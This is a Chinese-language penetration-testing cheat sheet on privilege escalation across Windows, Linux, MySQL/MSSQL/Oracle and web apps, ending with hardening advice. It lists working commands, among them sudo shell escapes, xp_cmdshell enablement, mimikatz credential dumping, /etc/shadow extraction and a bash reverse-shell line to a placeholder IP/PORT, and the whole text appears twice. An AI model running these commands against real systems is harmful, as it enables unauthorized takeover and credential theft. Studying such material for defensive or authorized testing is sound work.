实战遇见到的好用提权方法合集
字数 2169 2025-08-09 22:00:34

权限提升方法全集实战指南

权限划分基础

Windows系统权限等级

  1. System账户:Windows系统最高权限账户,权限高于Administrator
  2. Administrator账户:系统管理员账户
  3. 普通用户账户:权限受限的标准用户

Linux系统权限等级

  1. root用户:系统超级用户,拥有所有权限
  2. 普通用户:权限受限的标准用户

Windows提权方法

1. 系统信息收集

  • 执行systeminfo查看系统信息
  • 使用whoami /priv查看当前用户权限
  • net user查看用户列表
  • net localgroup administrators查看管理员组

2. 内核漏洞提权

  • 使用wesng工具识别系统漏洞
  • 常见漏洞利用:
    • CVE-2018-8120
    • CVE-2019-0808
    • CVE-2020-0787
  • 使用MSFPowerSploit进行漏洞利用

3. 服务提权

  • 检查可写服务路径:accesschk.exe -uwcqv "Authenticated Users" * /accepteula
  • 查找未引用的服务路径
  • 使用sc命令修改服务配置

4. 注册表提权

  • 检查AlwaysInstallElevated注册表项:
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
  • 如果启用,可使用msi文件提权

5. 计划任务提权

  • 查看计划任务:schtasks /query /fo LIST /v
  • 查找以高权限运行的任务
  • 替换任务执行的程序

6. 密码提取

  • 使用mimikatz提取明文密码和hash
  • 从内存中提取凭据
  • 破解SAM数据库

7. 组策略首选项提权

  • 查找Groups.xml文件
  • 解密cpassword字段
  • 使用gpp-decrypt工具解密

Linux提权方法

1. 信息收集

  • uname -a查看内核版本
  • cat /etc/issue查看系统信息
  • id查看当前用户权限
  • sudo -l查看sudo权限

2. 内核漏洞提权

  • 使用searchsploit查找漏洞
  • 常见漏洞:
    • DirtyCow (CVE-2016-5195)
    • CVE-2017-16995
    • CVE-2021-4034 (PwnKit)
  • 下载并编译exp进行提权

3. SUID提权

  • 查找SUID文件:find / -perm -4000 2>/dev/null
  • 常见可提权程序:
    • /bin/bash
    • /bin/cp
    • /bin/mv
    • /bin/nano
    • /usr/bin/find
  • 利用SUID程序执行特权操作

4. Sudo提权

  • 检查sudo权限:sudo -l
  • 利用配置不当的sudo规则:
    • sudo vi → :!/bin/bash
    • sudo awk → 'BEGIN {system("/bin/bash")}'
    • sudo find → -exec /bin/bash ;

5. 环境变量提权

  • 检查PATH变量
  • 劫持高权限程序调用的命令
  • 创建恶意程序并设置PATH优先查找当前目录

6. Capabilities提权

  • 查找具有capabilities的程序:getcap -r / 2>/dev/null
  • 利用如pythonperl等具有cap_setuid的程序提权

7. 密码与哈希提取

  • 查找配置文件中的密码
  • 提取/etc/shadow文件
  • 破解哈希:john、hashcat

数据库提权方法

1. MySQL提权

  • 利用UDF提权:
    • 上传lib_mysqludf_sys.so
    • 创建函数执行系统命令
  • 利用系统函数提权:
    • select sys_exec('whoami')
    • select system('bash -i >& /dev/tcp/IP/PORT 0>&1')

2. MSSQL提权

  • 使用xp_cmdshell执行系统命令:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    EXEC xp_cmdshell 'whoami';
    
  • 使用OLE自动化过程执行命令

3. Oracle提权

  • 利用DBMS_SCHEDULER创建作业执行命令
  • 利用Java执行权限执行系统命令

Web应用提权方法

1. 文件上传提权

  • 上传webshell
  • 上传恶意脚本并设置执行权限
  • 利用文件包含执行上传的文件

2. 命令注入提权

  • 寻找命令注入点
  • 执行系统命令获取交互式shell
  • 利用nc或bash反弹shell

3. 反序列化提权

  • 识别反序列化点
  • 生成恶意序列化数据
  • 执行系统命令

自动化工具

1. Windows提权工具

  • Windows-Exploit-Suggester
  • PowerUp.ps1
  • JuicyPotato
  • RoguePotato
  • PrintSpoofer

2. Linux提权工具

  • LinPEAS
  • Linux Exploit Suggester
  • GTFOBins
  • pspy (监控进程)

防御建议

  1. 及时更新系统和应用补丁
  2. 遵循最小权限原则
  3. 定期审计系统权限配置
  4. 监控异常进程和网络连接
  5. 禁用不必要的服务和功能
  6. 加强密码策略和哈希存储安全

总结

权限提升是渗透测试中的关键环节,需要结合系统信息收集、漏洞利用和配置审计等多种技术。本文涵盖了Windows、Linux、数据库和Web应用的主要提权方法,实际应用中需要根据目标环境灵活选择合适的技术路径。同时,防御方应重视权限管理和系统加固,减少攻击面。

权限提升方法全集实战指南 权限划分基础 Windows系统权限等级 System账户 :Windows系统最高权限账户,权限高于Administrator Administrator账户 :系统管理员账户 普通用户账户 :权限受限的标准用户 Linux系统权限等级 root用户 :系统超级用户,拥有所有权限 普通用户 :权限受限的标准用户 Windows提权方法 1. 系统信息收集 执行 systeminfo 查看系统信息 使用 whoami /priv 查看当前用户权限 net user 查看用户列表 net localgroup administrators 查看管理员组 2. 内核漏洞提权 使用 wesng 工具识别系统漏洞 常见漏洞利用: CVE-2018-8120 CVE-2019-0808 CVE-2020-0787 使用 MSF 或 PowerSploit 进行漏洞利用 3. 服务提权 检查可写服务路径: accesschk.exe -uwcqv "Authenticated Users" * /accepteula 查找未引用的服务路径 使用 sc 命令修改服务配置 4. 注册表提权 检查AlwaysInstallElevated注册表项: 如果启用,可使用msi文件提权 5. 计划任务提权 查看计划任务: schtasks /query /fo LIST /v 查找以高权限运行的任务 替换任务执行的程序 6. 密码提取 使用 mimikatz 提取明文密码和hash 从内存中提取凭据 破解SAM数据库 7. 组策略首选项提权 查找Groups.xml文件 解密cpassword字段 使用gpp-decrypt工具解密 Linux提权方法 1. 信息收集 uname -a 查看内核版本 cat /etc/issue 查看系统信息 id 查看当前用户权限 sudo -l 查看sudo权限 2. 内核漏洞提权 使用 searchsploit 查找漏洞 常见漏洞: DirtyCow (CVE-2016-5195) CVE-2017-16995 CVE-2021-4034 (PwnKit) 下载并编译exp进行提权 3. SUID提权 查找SUID文件: find / -perm -4000 2>/dev/null 常见可提权程序: /bin/bash /bin/cp /bin/mv /bin/nano /usr/bin/find 利用SUID程序执行特权操作 4. Sudo提权 检查sudo权限: sudo -l 利用配置不当的sudo规则: sudo vi → : !/bin/bash sudo awk → 'BEGIN {system("/bin/bash")}' sudo find → -exec /bin/bash \; 5. 环境变量提权 检查PATH变量 劫持高权限程序调用的命令 创建恶意程序并设置PATH优先查找当前目录 6. Capabilities提权 查找具有capabilities的程序: getcap -r / 2>/dev/null 利用如 python 、 perl 等具有cap_ setuid的程序提权 7. 密码与哈希提取 查找配置文件中的密码 提取/etc/shadow文件 破解哈希:john、hashcat 数据库提权方法 1. MySQL提权 利用UDF提权: 上传lib_ mysqludf_ sys.so 创建函数执行系统命令 利用系统函数提权: select sys_exec('whoami') select system('bash -i >& /dev/tcp/IP/PORT 0>&1') 2. MSSQL提权 使用xp_ cmdshell执行系统命令: 使用OLE自动化过程执行命令 3. Oracle提权 利用DBMS_ SCHEDULER创建作业执行命令 利用Java执行权限执行系统命令 Web应用提权方法 1. 文件上传提权 上传webshell 上传恶意脚本并设置执行权限 利用文件包含执行上传的文件 2. 命令注入提权 寻找命令注入点 执行系统命令获取交互式shell 利用nc或bash反弹shell 3. 反序列化提权 识别反序列化点 生成恶意序列化数据 执行系统命令 自动化工具 1. Windows提权工具 Windows-Exploit-Suggester PowerUp.ps1 JuicyPotato RoguePotato PrintSpoofer 2. Linux提权工具 LinPEAS Linux Exploit Suggester GTFOBins pspy (监控进程) 防御建议 及时更新系统和应用补丁 遵循最小权限原则 定期审计系统权限配置 监控异常进程和网络连接 禁用不必要的服务和功能 加强密码策略和哈希存储安全 总结 权限提升是渗透测试中的关键环节,需要结合系统信息收集、漏洞利用和配置审计等多种技术。本文涵盖了Windows、Linux、数据库和Web应用的主要提权方法,实际应用中需要根据目标环境灵活选择合适的技术路径。同时,防御方应重视权限管理和系统加固,减少攻击面。